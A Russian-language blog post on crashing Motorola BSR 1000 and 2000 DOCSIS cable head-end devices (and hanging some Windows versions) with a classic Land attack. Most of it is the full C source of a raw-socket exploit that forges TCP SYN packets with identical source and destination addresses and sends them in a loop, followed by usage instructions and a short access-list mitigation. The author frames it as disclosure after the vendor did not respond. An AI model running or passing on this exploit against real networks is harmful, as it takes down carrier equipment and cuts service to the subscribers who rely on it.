Речь пойдет о DOCSIS CMTS Motorola BSR (как 1000, так и 2000), и о том как правильно выводить его из строя. Это устройство представляет из себя базовую станцию в кабельных сетях DOCSIS. За более подробной информацией можно обратиться в википидею. Нарушать нормальную работу данного типа устройств будем с помощью классической и давно забытой атаки типа Land. Как это ни странно, но классическая атака, появившаяся и описанная много лет назад — она все еще актуальна на очень многих устройствах.

Главная идея атаки заключается в посыле жертве сетевого пакета, где адрес источника и адрес отправителя идентичны и представляют собой IP-адрес самой жертвы.Разные ОС и программные системы реагируют на такие вещи по-разному. Например, устаревшие уже WindowsNT/95 в зависимости от сервис-пака либо "отмораживаются" на некоторое время (от одного-двух таких пакетов), либо просто падают в "синий экран смерти" (от серии пакетов). В 90-е эта атака была широко распространена, но и большинство производителей ПО довольно быстро выпустили соответствующие поправки для своей продукции, и учли это впредь. Тем не менее, и в наши дни можно неожиданно обнаружить различные устройства и ПО, подверженные данному типу атак.Экспериментальным путем обнаружилось, что и WindowsXP и Windows2003 так же подвержены этой атаке — опять же, с различными сервис-паками. В первом случае мы имеем полное "зависание", во втором — "зависание", но только до тех пор, пока по сети поступают серии описанных выше пакетов.Вернемся же к Мотороле и ее BSR. Сии чудные устройства серий 1000 и 2000 (остальные не тестировались) замечательнейшим образом падают в дамп всего от одного посланного сетевого пакета, оформленного надлежащим образом. Восстановить работу системы можно только "холодным" рестартом. Если у вас есть подобное устройство в сети, и временами оно ни с того ни с сего вдруг полностью останавливается и вываливается в дамп — проверьте, нет ли на него случайной или намеренной Land-атаки, которая описана в этой статье. Описанная информация была переслана производителю, но уже больше полугода от него нет никакого ответа, никаких обновлений прошивок в связи с этим не было. Поэтому ниже приведен код эксплоита :) Код:


#include
#include
#include
#include
#include
#include
#include
#include
#include
#include  

#define __FAVOR_BSD
#include
#include
#include
#undef __FAVOR_BSD
#include 

u_short checksum (u_short *addr, int len)
{
	u_short *w = addr;
	int i = len;
	int sum = 0;
	u_short answer; 

	while (i > 0)
	{
		sum += *w++;
		i-=2;
	} 

	if (i == 1) sum += *(u_char *)w;
	sum = (sum >> 16) + (sum & 0xffff);
	sum = sum + (sum >> 16); 

	return (~sum);
};

int main(int argc, char ** argv)
{
	struct in_addr src, dst;
	struct sockaddr_in sin;
	struct _pseudoheader
	{
		struct in_addr source_addr;
		struct in_addr destination_addr;
		u_char zero;
		u_char protocol;
		u_short length;
	} pseudoheader;
	struct ip * iph;
	struct tcphdr * tcph;
	int mysock;
	u_char * packet;
	u_char * pseudopacket;
	int on = 1; 

	if( argc != 4)
	{
		fprintf(stderr, "Usage: %s   n", argv[0]);
		return EX_USAGE;
	};

	if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL)
	{
		perror("malloc()n");
		return EX_OSERR;
	};

	inet_aton(argv[1], &src);
	inet_aton(argv[1], &dst);
	iph = (struct ip *) packet;
	iph->ip_v = IPVERSION;
	iph->ip_hl = 5;
	iph->ip_tos = 0;
	iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));
	iph->ip_off = htons(IP_DF);
	iph->ip_ttl = 255;
	iph->ip_p = IPPROTO_TCP;
	iph->ip_sum = 0;
	iph->ip_src = src;
	iph->ip_dst = dst;
	tcph = (struct tcphdr *)(packet +sizeof(struct ip));
	tcph->th_sport = htons(atoi(argv[2]));
	tcph->th_dport = htons(atoi(argv[2]));
	tcph->th_seq = ntohl(rand());
	tcph->th_ack = rand();
	tcph->th_off = 5;
	tcph->th_flags = TH_SYN;
	tcph->th_win = htons(512);
	tcph->th_sum = 0;
	tcph->th_urp = 0;
	pseudoheader.source_addr = src;
	pseudoheader.destination_addr = dst;
	pseudoheader.zero = 0;
	pseudoheader.protocol = IPPROTO_TCP;
	pseudoheader.length = htons(sizeof(struct tcphdr)); 

	if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL)
	{
		perror("malloc()n");
		return EX_OSERR;
	};

	memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
	memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr));
	tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr));
	mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); 

	if(!mysock)
	{
		perror("socket!n");
		return EX_OSERR;
	};

	if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
	{
		perror("setsockopt");
		shutdown(mysock, 2);
		return EX_OSERR;
	};

	sin.sin_family = PF_INET;
	sin.sin_addr = dst;
	sin.sin_port = htons(80); 

	int np = atoi(argv[3]);
	int n;

	for (n = 0; n < np; n++)
	{
		if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0, (struct sockaddr *)&sin, sizeof(sin)) == -1)
		{
			perror("sendto()n");
			shutdown(mysock, 2);
			return EX_OSERR;
		};
	};

	printf("Packet sent. Remote machine should be down.n");
	shutdown(mysock, 2);
	return  EX_OK;
};

Как это работает: ./exploit <IP> <порт> <кол-во пакетов> Как от этого защититься: Защититься довольно просто. Нужно всего-лишь добавить примерно такие строки в конфиг устройства:

ip access-group 111 in access-list 111 deny ip any host x.x.x.x access-list 111 permit ip any any

где x.x.x.x — IP-адрес самого устройства После упомянутых добавок в конфиг, такая атака вашему BSR уже не страшна.

Мой блог находят по следующим фразам





Опубликовать в twitter.com

0